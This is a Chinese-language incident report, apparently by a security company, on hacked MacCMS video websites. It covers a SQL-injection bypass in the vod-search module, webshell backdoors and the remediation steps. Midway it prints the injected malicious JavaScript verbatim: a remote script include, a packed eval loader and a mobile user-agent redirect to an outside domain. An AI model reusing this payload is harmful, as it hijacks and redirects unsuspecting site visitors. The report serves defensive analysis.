2020年刚开始,苹果CMS被爆出数据库代码执行漏洞,大量的电影网站被挂马,尤其电影的页面被篡改植入了恶意代码,数据库中的VOD表里的d_name被全部修改,导致网站打开后直接跳转到S站或者弹窗广告,目前该maccms漏洞受影响的苹果系统版本是V8,V10,很多客户网站被反复篡改,很无奈,通过朋友介绍找到我们SINE安全寻求技术上支持,防止网站被挂马。根据客户的反应,服务器采用的是linux centos系统,苹果CMS版本是最新的V10版本,我们立即成立网站安全应急响应处理,帮助客户解决网站被攻击的问题。

首先很多站长以为升级了苹果CMS官方最新的漏洞补丁就没问题了,通过我们SINE安全技术对补丁的代码安全分析发现,该漏洞补丁对当前的数据库代码执行漏洞是没有任何效果的,于事无补,网站还会继续被攻击。

我们来看下客户网站目前发生的挂马问题,打开网站首页以及各个电影地址都会被插入挂马代码,如下图所示:

打包压缩了一份网站源代码,以及nginx网站日志文件,我们SINE安全工程师在根目录下发现被上传了网站webshell木马文件,通过网站日志溯源追踪我们查看到访问这个PHP脚本木马文件的是一个韩国的IP,具体的代码如下图:

代码做了加密处理,我们SINE安全对其解密发现该代码的功能可以对网站进行上传,下载,修改代码,操作数据库等功能,属于PHP大马的范畴,也叫webshell木马文件,我们又对苹果CMS的源代码进行了人工安全审计,发现index.php代码对搜索模块上做的一些恶意代码过滤检查存在漏洞,可导致攻击者绕过安全过滤,直接将SQL插入代码执行到数据库当中去。

我们对数据库进行安全检测发现,在VOD表的d_name被批量植入了挂马代码:

script src=https://www.kilin.xyz/1.js

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(newPRegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('4.5(\'<61="3/2" 7="//0.b.c.d/8.0"><\\/9\'+\'a>\');',14,14,'js|type|javascript|text|document|write|script|src|20487493|scr|ipt|users|51|la'.split('|'),0,{}));var LOUMtBZeW=navigator["userAgent"]["toLowerCase"]()["match"](/(ipod|iphone|ipad|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null;if(LOUMtBZeW){setTimeout('window.location.href="https://m.qiche-hangjia.com:168/ua80666/"',500)}

这手法很专业,不是一般的攻击者所为,针对手机端做了跳转以及隐藏嵌入,让网站运营者根本无法察觉发现,还判断了cookies来路,达到条件才能触发攻击者植入的广告代码。继续安全分析与追踪,发现了攻击者的手法,POST提交到/index.php?m=vod-search,POST内容是加密的这里就不方便发出了,属于漏洞攻击了,可能会给其他使用苹果CMS系统的网站造成攻击,我们SINE安全技术对POST攻击代码进行了解密分析,发现确实是绕过了苹果官方V8,V10系统的代码安全过滤,直接将挂马代码插入到了数据库里了。

问题根源找到了,接下来我们对客户的苹果CMS漏洞进行修复,对POST提交过来的参数进行严格的过滤与转义,对vod-search含有的恶意字符进行强制转换,对恶意代码进行安全拦截,防止传入到后端进行数据库里的代码执行。对网站代码里存在的木马后门进行了全面的人工审计与检查,共计发现5个后门,其余的在缓存目录当中,跟程序代码混淆在一起,也都删除了,对网站的后台地址进行了更改,之前后台使用的地址被攻击者掌握,对管理员的账号密码进行了加强,至此苹果CMS网站被挂马的问题才得以彻底解决,如果您的maccms也被一直挂马,自己懂代码的话可以对POST到index.php的数据进行安全拦截与检查,防止恶意代码的插入,如果不是太懂的话,建议找专业的网站安全公司来处理解决。

Logo

更多推荐